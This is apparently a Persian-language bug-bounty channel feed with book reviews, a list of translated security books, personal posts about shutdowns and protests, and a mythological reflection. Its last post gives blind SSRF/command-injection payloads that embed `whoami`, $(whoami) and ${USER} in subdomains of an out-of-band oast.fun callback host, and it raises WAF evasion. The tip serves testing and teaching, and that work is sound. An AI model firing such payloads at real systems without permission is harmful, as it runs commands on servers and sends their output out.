🕸 Articles

بچه ها من یه تعداد لابراتوار برای چند تا آسیب پذیری درست کرده بودم بنا به دلایلی به ساختنشون برای بقیه آسیب پذیری ها ادامه ندادم. همین تعداد رو میزارم اینجا امیدوارم بدردتون بخوره میتونید به صورت لوکال اجراش کنید.

کتاب طرز فکر هکر نوشته فرانچسکو کارلوچی، یه کتاب فنی و خشک نیست. نویسنده که خودش یه هکر حرفه‌ایه، بهت یاد میده چطور مثل یه هکر فکر کنی؛ نه فقط برای نفوذ به سیستم‌ها، بلکه برای حل کردن مسائل واقعی زندگی. لحن کتاب خودمونی و پر از خاطرات واقعیه. با مثال‌های ساده و ملموس نشون میده چطور دید تونلی باعث میشه راه‌حل‌های واضح رو نبینیم، و چطور یه ذهن هکری با نگاه از یه زاویه دیگه، همون راه‌حل‌ها رو پیدا می‌کنه. فصل‌ها کوتاه و جمع‌وجورن، بعضی‌هاش فنی‌تر میشن ولی اونقدر خوب توضیح داده که حتی اگه فنی هم نباشی می‌تونی بفهمی. پیام اصلی کتاب اینه: هک کردن یه فرآیند فنی نیست، یه فرآیند خلاقانه‌ست. اگه طرز فکرت رو عوض کنی، دنیا رو جور دیگه‌ای می‌بینی. ترجمه این کتاب متفاوت تر از کتاب اصلی هست که بعد از خوندنش متوجهش می‌شید.

این مقاله یه جور راهنمای شخصیه از یه باگ هانتر به اسم ZSeano که روش کار خودشو برای پیدا کردن باگ تو برنامه‌های باگ بانتی توضیح میده. اون میگه اول باید خوب سایت رو بگردی و بفهمی چجوری کار میکنه، بعد سطح حمله رو با پیدا کردن سابدامنه‌ها و فایل‌های مختلف گسترش بدی و در آخر هم این کارا رو هی تکرار کنی و حواست به تغییرات سایت باشه. ZSeano چند تا از باگ‌هایی که خودش پیدا کرده رو هم مثال میزنه تا نشون بده با همین روش‌های ساده هم میشه باگ‌های مهم پیدا کرد. در آخر هم یه سری منابع مفید و هکرهای تو توییتر رو معرفی میکنه.

این کتاب به منظور راهنمای جامع‌ای برای حملات زمان بندی در امنیت وب نوشته است. در ویراستار دوم سعی بر افزایش خوانایی و فرم دهی صفحه‌ها شده است.

لیست کتاب های منتشر شده به زبان فارسی در کانال 01- Recon 02- Web timing attacks 03- HTTP Host Header Attacks 04- CORS Misconfiguration 05- zseanos methodology 06- Real world Bug Hunting 07- Bug Bounty Playbook V1 08- Bug Bounty Bootcamp 09- Web Application Security 10- Chromium Bug $250,000 Bounty 11- Domain Discovery 12- Final Collection of Advice Bug Hunters 13- Java Script For Hackers Volume 1 14- JavaScript For Hackers Volume 2 For Sale 15- JWT Deep Dive 16- Web Hacking Arsenal For Sale

درود به همه دوستان و همراهان کانال واقعاً ممنونم که پیام دادید، پیگیر شدید و منتظر موندید.🌹🌹 همین پیام هاتون باعث شده که بخوام دوباره فعالیت رو شروع کنم. متاسفانه اتفاقات اخیر خیلی‌هامون رو تحت تأثیر قرار داد. امیدوارم روز های روشنی رو پیش رو داشته باشیم از چند روز دیگه کانال رو فعال می‌کنم و سعی میکنم کم‌کم برگردم به همون فضای قبلی احتمالاً با یه کتاب یا مقاله تازه.

درود به همه دوستان عزیز امیدوارم حالتون خوب باشه این روزها سکوت نبود، راستش نوعی خفه شدن بود. اینترنت قطع شد اما چیزی بیشتر از اون قطع شد: صدای خیلی‌ها، امید خیلی‌ها، امنیت خیلی‌ها. خیلی‌ها رفتن. خیلی‌ها شکستن. خیلی‌ها هنوز دارن زخم‌هاشون رو می‌شمارن. منم یکی از همون‌ها بودم. راستش دیگه نه انگیزه‌ای مونده، نه شرایطی برای ادامه دادن. داشتن یه اینترنت حداقلی شده آرزو، چه برسه به ساختن محتوا، به یاد دادن، به بودن تو این فضا. اعتراضات این دوره، اون فریادها اونقدر سنگین بود که دیگه نمی‌تونم وانمود کنم همه چیز عادیه. نمی‌تونم بیام اینجا و مثل قبل حرف بزنم انگار هیچی نشده. شاید در آینده‌ای بهتر شاید در جهان دیگه‌ای شاید وقتی این زخم‌ها کمی التیام پیدا کنن شاید وقتی دوباره بشه نفس کشید بدون اینکه هر لحظه منتظر یه ضربه دیگه باشیم ولی الان دیگه نمی‌تونم. این کانال رو برای مدتی می‌بندم. نه با خشم، نه با نفرت. فقط با خستگی عمیق و یه حس خالی بودن. ممنون از همه‌تون که بودید، که خوندید، که گاهی کامنت گذاشتید، که همراه بودید. اگر روزی برگشتم، بدونید که از سر اجبار یا نمایش نبود؛ از سر این بود که بالاخره یه ذره نور تو این تاریکی دیدم. مراقب خودتون باشید. هر کدومتون یه گوشه از این زخم‌های جمعی رو با خودتون حمل می‌کنید. امیدوارم یه روزی این بار سبک‌تر بشه.

تو خدای زمانی زروان، نام ایزدی بود که آفریدگار زمان بود. بی‌آغاز و بی‌پایان. زروان آرزو داشت که فرزندی نیک داشته باشد تا جهان را به او بسپارد. پس دعا می‌کرد و فدیه می‌داد؛ تا روزی که در بطنش چیزی جنبیدن گرفت. دو فرزند توأمان. زروان گفت: هر کدام که زودتر به دنیا بیایند جهان را به او خواهم سپرد. زروان نمی‌دانست که یکی از پسرانش اهریمن است و آن دیگری اورمزد. اهریمن صدای زروان را شنید و زودتر به دنیا آمد. زروان گفت: تو کیستی؟ تو که این همه ظلمانی و متعفن و ترسناکی؟ اهریمن گفت: من فرزند توام، فرزند زمان و تو قول داده‌ای که جهان را به من بسپاری. زروان اندوهگین شد و جهان را به اهریمن سپرد اما امید داشت که اورمزد بتواند با برادر بویناک و تاریکش بجنگد و پیروز شود و جهان را پس بگیرد. اورمزد، روشن و خوشبو و مهربان و زیبا و لطیف بود. هر روز که از خواب بیدار می‌شوی، نامت زروان است، تو همان خدای زمانی و هر روز دو فرزند توامان در بطن تو آفریده می‌شود. گاهی زمان را به اورمزدت می‌سپاری و گاهی به اهریمنت. و فرزندانت جهانت را تاریک می‌کنند یا روشن. و زمانت یا گرگ می‌شود یا میش. در گرگ و میشِ هر روز باید از خودت بپرسی امروز چه زاییدم؟ امروز، روز گرگ بود یا روز میش. امروز اهریمنم به دنیا آمد یا اورمزد؟

توی تست های blind ssrf شما جواب رو به صورت مستقیم نمی‌تونید ببینید باید از یه سرویس out of band کمک بگیرید تا بفهمید آیا سرور درخواست شما رو اجرا کرده یا نه. برای دریافت پاسخ های out of band میتونید از

https://app.interactsh.com

استفاده کنید. این سه تا دستور رو توی تست های blind ssrf بیارید. می‌تونید باهاش دستورات سیستم عاملی اجرا کنید. Text Payloads:

`whoami`
$(whoami)
${USER}

در نهایت باید پیلودتون شبیه به این باشه Text Payloads:

https://`whoami`.wovpawxjsgngqywkn[.]oast[.]fun
https://$(whoami).wovpawxjsgngqywkn.oast.fun
https://${USER}.wovpawxjsgngqywkn.oast.fun

کافیه این آدرس رو توی هر ورودی که مشکوک به ssrf هست بزنید و منتظر باشید در صورت آسیب پذیر بودن پاسخ توی داشبورد interactsh نمایش داده بشه حالا یه سوال اگر waf به کلمه whoami یا کاراکتر هایی که داره باهاش ارسال میشه حساس باشه و درخواست رو بلاک کنه راهی برای دور زدنش هست؟